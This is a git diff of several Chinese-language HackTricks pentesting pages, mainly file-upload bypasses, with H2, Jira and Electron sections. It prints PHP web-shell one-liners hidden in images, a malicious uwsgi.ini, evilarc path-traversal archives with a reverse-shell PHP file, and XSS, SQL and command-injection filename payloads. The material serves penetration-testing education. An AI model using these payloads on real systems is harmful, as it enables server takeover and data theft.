来自 [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) 的示例(您可以在这些幻灯片中看到 MS Teams 如何利用 XSS 进行 RCE 的完整示例,这只是一个非常基本的示例):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 示例 1
|
||||
|
||||
|
@ -114,8 +114,8 @@ ipcRenderer.send(event, data);
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# H2 - Java SQL数据库
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,8 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
官方网站:[https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||
|
@ -39,7 +37,7 @@ _**来自HTB的Hawk盒子的技巧。**_
|
|||
|
||||
## H2 SQL注入到RCE
|
||||
|
||||
在[**这篇文章**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)中,解释了一种有效载荷以通过H2数据库获取**RCE**,利用**SQL注入**。
|
||||
在[**这篇文章**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)中,解释了一种有效载荷,通过利用**SQL注入**获取**RCE via H2数据库**。
|
||||
```json
|
||||
[...]
|
||||
"details":
|
||||
|
@ -50,13 +48,11 @@ _**来自HTB的Hawk盒子的技巧。**_
|
|||
},
|
||||
[...]
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
|
||||
## 检查权限
|
||||
|
||||
在 Jira 中,**任何用户**(无论是否经过身份验证)都可以通过 `/rest/api/2/mypermissions` 或 `/rest/api/3/mypermissions` 端点 **检查权限**。这些端点揭示了用户当前的权限。当 **未认证用户拥有权限** 时,出现了一个显著的担忧,这表明存在 **安全漏洞**,可能有资格获得 **赏金**。同样,**认证用户的意外权限** 也突显了一个 **漏洞**。
|
||||
在 Jira 中,**任何用户**(无论是否经过身份验证)都可以通过 `/rest/api/2/mypermissions` 或 `/rest/api/3/mypermissions` 端点 **检查权限**。这些端点揭示了用户当前的权限。当 **未经过身份验证的用户拥有权限** 时,出现了一个显著的担忧,这表明存在 **安全漏洞**,可能有资格获得 **赏金**。同样,**经过身份验证的用户的意外权限** 也突显了一个 **漏洞**。
|
||||
|
||||
在 **2019年2月1日** 进行了重要的 **更新**,要求 'mypermissions' 端点包含 **'permission' 参数**。此要求旨在通过指定查询的权限来 **增强安全性**: [在这里查看](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -74,7 +74,7 @@
|
|||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
```
|
||||
## 自动枚举
|
||||
## 自动化枚举
|
||||
|
||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
@ -129,7 +129,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
* **反向Shell**:或者获取一个反向Shell。
|
||||
* **DOM代理**:如果Confluence在私有网络内,可以通过某个有访问权限的用户的浏览器建立连接,例如通过它联系服务器执行命令。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
|
||||
|
@ -144,7 +144,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -32,7 +32,7 @@
|
|||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
* **Flash**: _.swf_
|
||||
* **Perl**: _.pl, .cgi_
|
||||
* **Erlang Yaws Web 服务器**: _.yaws_
|
||||
* **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### 绕过文件扩展名检查
|
||||
|
||||
|
@ -50,7 +50,7 @@
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. 尝试通过 **欺骗服务器端的扩展解析器** 来绕过保护,使用像 **双重** **扩展名** 或 **添加垃圾** 数据(**空** 字节)在扩展名之间。 _你也可以使用 **之前的扩展名** 来准备更好的有效载荷。_
|
||||
4. 尝试通过 **欺骗服务器端的扩展解析器** 来绕过保护,使用像 **双重** **扩展名** 或 **在扩展名之间添加垃圾** 数据(**null** 字节)等技术。_你也可以使用 **之前的扩展名** 来准备更好的有效载荷。_
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -59,13 +59,13 @@
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. 为之前的检查添加 **另一层扩展名**:
|
||||
5. 在之前的检查中添加 **另一层扩展名**:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. 尝试将 **exec 扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用 Apache 配置错误,其中任何带有扩展名 **_**.php**_**,但不一定以 .php 结尾的内容将执行代码):
|
||||
* _例如: file.php.png_
|
||||
7. 在 **Windows** 中使用 **NTFS 备用数据流 (ADS)**。在这种情况下,冒号字符 “:” 将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个 **带有禁止扩展名的空文件**(例如 “file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。 “**::$data**” 模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如 “file.asp::$data.”)
|
||||
8. 尝试打破文件名限制。有效扩展名被截断。恶意 PHP 被保留。 AAA<--SNIP-->AAA.php
|
||||
6. 尝试将 **exec 扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用 Apache 配置错误的情况,其中任何带有扩展名 **_**.php**_** 的内容,但不一定以 .php 结尾的内容将执行代码):
|
||||
* _例如:file.php.png_
|
||||
7. 在 **Windows** 中使用 **NTFS 备用数据流 (ADS)**。在这种情况下,禁止扩展名后和允许扩展名前会插入一个冒号字符“:”。因此,服务器上将创建一个 **带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。 “**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
||||
8. 尝试打破文件名限制。有效扩展名被截断,恶意 PHP 被保留。 AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux 最大 255 字节
|
||||
|
@ -86,11 +86,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` 或者你也可以 **直接在图像中引入有效载荷**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* 如果 **压缩被添加到你的图像**,例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用 **PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本以 **在压缩中存活**。
|
||||
* 如果 **压缩被添加到你的图像**,例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用 **PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,使其 **在压缩中存活**。
|
||||
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* 网页也可能在 **调整图像大小**,例如使用 PHP-GD 函数 `imagecopyresized` 或 `imagecopyresampled`。然而,你可以使用 **IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本以 **在压缩中存活**。
|
||||
* 网页也可能会 **调整图像的大小**,例如使用 PHP-GD 函数 `imagecopyresized` 或 `imagecopyresampled`。然而,你可以使用 **IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,使其 **在压缩中存活**。
|
||||
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* 另一种制作 **在图像调整大小中存活的有效载荷** 的技术,使用 PHP-GD 函数 `thumbnailImage`。然而,你可以使用 **tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本以 **在压缩中存活**。
|
||||
* 另一种制作 **在图像调整大小中存活的有效载荷** 的技术,使用 PHP-GD 函数 `thumbnailImage`。然而,你可以使用 **tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,使其 **在压缩中存活**。
|
||||
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### 其他检查技巧
|
||||
|
@ -98,20 +98,20 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* 找到一个 **重命名** 已上传文件的漏洞(以更改扩展名)。
|
||||
* 找到一个 **本地文件包含** 漏洞以执行后门。
|
||||
* **可能的信息泄露**:
|
||||
1. 上传 **多次**(并且在 **同一时间**)相同的文件,使用 **相同的名称**
|
||||
2. 上传一个文件,其 **名称** 与 **已存在的文件** 或 **文件夹** 相同
|
||||
3. 上传一个文件,其名称为 **“.”, “..”, 或 “…”**。例如,在 Apache 的 **Windows** 中,如果应用程序将上传的文件保存在 “/www/uploads/” 目录中,名称为 “.” 的文件将创建一个名为 “uploads” 的文件在 “/www/” 目录中。
|
||||
4. 上传一个可能不易删除的文件,例如 **“…:.jpg”** 在 **NTFS** 中。(Windows)
|
||||
5. 在 **Windows** 中上传一个文件,其名称中包含 **无效字符**,例如 `|<>*?”`。(Windows)
|
||||
6. 在 **Windows** 中上传一个文件,使用 **保留**(**禁止**) **名称**,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
|
||||
* 还可以尝试 **上传一个可执行文件**(.exe)或一个 **.html**(不太可疑),当受害者意外打开时 **将执行代码**。
|
||||
1. **多次**(并且在 **同一时间**)上传 **同一文件**,并使用 **相同的名称**
|
||||
2. 上传一个 **已经存在的文件** 或 **文件夹** 的 **名称** 的文件
|
||||
3. 上传一个 **“.”, “..”, 或 “…” 作为其名称** 的文件。例如,在 Apache 的 **Windows** 中,如果应用程序将上传的文件保存在 “/www/uploads/” 目录中,名称为 “.” 的文件将创建一个名为 “uploads” 的文件在 “/www/” 目录中。
|
||||
4. 上传一个可能不容易被删除的文件,例如 **“…:.jpg”** 在 **NTFS** 中。(Windows)
|
||||
5. 在 **Windows** 中上传一个带有 **无效字符** 的文件,例如 `|<>*?”` 在其名称中。(Windows)
|
||||
6. 在 **Windows** 中上传一个使用 **保留**(**禁止**) **名称** 的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
|
||||
* 还可以尝试 **上传一个可执行文件**(.exe)或一个 **.html**(不太可疑)文件,当受害者意外打开时 **将执行代码**。
|
||||
|
||||
### 特殊扩展名技巧
|
||||
|
||||
如果你尝试将文件上传到 **PHP 服务器**, [查看 **.htaccess** 技巧以执行代码](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
|
||||
如果你尝试将文件上传到 **ASP 服务器**, [查看 **.config** 技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
|
||||
`.phar` 文件类似于 Java 的 `.jar`,但用于 PHP,并且可以 **像 PHP 文件一样使用**(通过 PHP 执行,或在脚本中包含它...)
|
||||
`.phar` 文件类似于 Java 的 `.jar`,但用于 PHP,并且可以 **像 PHP 文件一样使用**(通过 PHP 执行或在脚本中包含它...)
|
||||
|
||||
`.inc` 扩展名有时用于仅用于 **导入文件** 的 PHP 文件,因此,在某些时候,可能有人允许 **此扩展名被执行**。
|
||||
|
||||
|
@ -125,7 +125,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE 利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
|
||||
如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行(RCE)漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,`@` 操作符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中,“exec” 方案特别强大,允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
|
||||
如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行(RCE)漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,`@` 操作符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中,“exec” 方案特别强大,允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
|
||||
|
||||
考虑以下有害的 `uwsgi.ini` 文件示例,展示各种方案:
|
||||
```ini
|
||||
|
@ -152,7 +152,7 @@ characters = @(call://uwsgi_func)
|
|||
## **wget 文件上传/SSRF 技巧**
|
||||
|
||||
在某些情况下,您可能会发现服务器正在使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只下载允许的文件。然而,**此检查可以被绕过。**\
|
||||
**linux** 中 **文件名** 的 **最大** 长度为 **255**,但是 **wget** 会将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 会将文件重命名为 **"A"\*232+".php"**。
|
||||
**linux** 中 **文件名** 的 **最大** 长度为 **255**,但是 **wget** 会将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 会将文件 **重命名** 为 **"A"\*232+".php"**。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到不同的文件**,因此初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。除非使用**参数**`--trust-server-names`,否则**这将不起作用**,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
|
||||
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到不同的文件**,因此初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名称**。
|
||||
|
||||
## 工具
|
||||
|
||||
|
@ -183,7 +183,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
## 从文件上传到其他漏洞
|
||||
|
||||
* 将**filename**设置为`../../../tmp/lol.png`并尝试实现**路径遍历**
|
||||
* 将**filename**设置为`../../../tmp/lol.png`,尝试实现**路径遍历**
|
||||
* 将**filename**设置为`sleep(10)-- -.jpg`,您可能能够实现**SQL注入**
|
||||
* 将**filename**设置为`<svg onload=alert(document.domain)>`以实现XSS
|
||||
* 将**filename**设置为`; sleep 10;`以测试一些命令注入(更多[命令注入技巧在这里](../command-injection.md))
|
||||
|
@ -193,7 +193,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* [通过上传svg文件的**开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**\*\*\*\*
|
||||
* [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* 如果您可以**指示Web服务器从URL捕获图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
|
||||
* 如果您可以**指示Web服务器从URL捕获图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL,并**窃取每个访问者的信息**。
|
||||
* [通过PDF-Adobe上传的**XXE和CORS**绕过](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* 特别制作的PDF以实现XSS:[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF,您可以准备一些将执行任意JS的PDF,遵循给定的指示。
|
||||
* 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
|
||||
|
@ -235,9 +235,9 @@ ln -s ../../../index.php symindex.txt
|
|||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 在不同文件夹中解压
|
||||
### Decompress in different folders
|
||||
|
||||
在解压过程中意外创建文件的目录是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能逃离安全上传目录。
|
||||
在解压缩过程中意外在目录中创建文件是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压缩功能逃离安全上传目录。
|
||||
|
||||
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
|
||||
```python
|
||||
|
@ -246,7 +246,7 @@ python2 evilarc.py -h
|
|||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
此外,**symlink trick with evilarc** 是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在其操作过程中不会遇到错误。
|
||||
此外,**使用 evilarc 的符号链接技巧**也是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在操作过程中不会遇到错误。
|
||||
|
||||
下面是用于创建恶意 zip 文件的 Python 代码示例:
|
||||
```python
|
||||
|
@ -268,7 +268,7 @@ create_zip()
|
|||
```
|
||||
**滥用压缩进行文件喷洒**
|
||||
|
||||
有关更多详细信息,请**查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
有关更多详细信息,请**查看原始帖子**:[https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **创建 PHP Shell**:编写 PHP 代码以执行通过 `$_REQUEST` 变量传递的命令。
|
||||
|
||||
|
@ -314,7 +314,7 @@ pop graphic-context
|
|||
|
||||
多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF也可以作为RAR档案。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。
|
||||
|
||||
多格式文件的核心实用性在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
||||
多格式文件的核心实用性在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
||||
|
||||
尽管它们具有适应性,但多格式文件确实面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
|
||||
|
||||
|
@ -329,15 +329,15 @@ pop graphic-context
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
